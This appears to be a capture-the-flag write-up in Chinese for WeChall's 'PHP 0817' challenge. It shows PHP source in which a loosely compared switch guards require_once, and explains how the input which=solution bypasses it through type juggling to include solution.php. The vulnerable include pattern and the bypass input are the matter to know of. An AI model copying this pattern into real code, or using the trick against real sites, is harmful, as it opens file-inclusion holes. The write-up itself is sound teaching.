WeChall - PHP 0817

I have written another include system for my dynamic webpages, but it seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP 松散比较(type juggling)绕过 switch 限制。

Challenge

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['which'])) {
$which = $_GET['which'];
switch ($which) {
case 0:
case 1:
case 2:
require_once $which.'.php';
break;
default:
echo 'Hacker NoNoNo!';
}
}
?>

index.php?which=0 加载 News,which=1 加载 Forum,which=2 加载 Guestbook。

目标是加载 solution.php

Solution

PHP 的 switch 使用松散比较(== 而非 ===)。当字符串与整数比较时,PHP 把字符串转成整数——"solution" 不以数字开头,转成 0,因此 "solution" == 0true

1
var_dump("solution" == 0);  // bool(true)

传入 which=solution

  • $which = "solution"
  • switch 比较 "solution" == 0true,命中 case 0
  • case 0 无代码也无 breakfall-throughcase 1,再 fall-through 到 case 2
  • case 2:require_once $which.'.php' 执行

注意一点:$which 的值不会被 switch 改变 — 匹配到 case 0 之后,$which 仍然是 "solution",不是 0。fall-through 只是让执行流落入 case 2 的代码块,而那块代码引用的是原始变量值。

1
2
3
4
5
6
$which = "solution";
switch ($which) {
case 0: // "solution" == 0 → match, 但 $which 还是 "solution"
case 1: // fall-through
case 2: // fall-through, require_once "solution".php" ← 用的是原始 $which
}

绕过了 switch 的 default 拦截,也无需 . / 等特殊字符。

1
https://www.wechall.net/challenge/php0817/index.php?which=solution

验证:页面显示 "Well done, too easy... Do you know why this is possible?",solution.php 成功包含。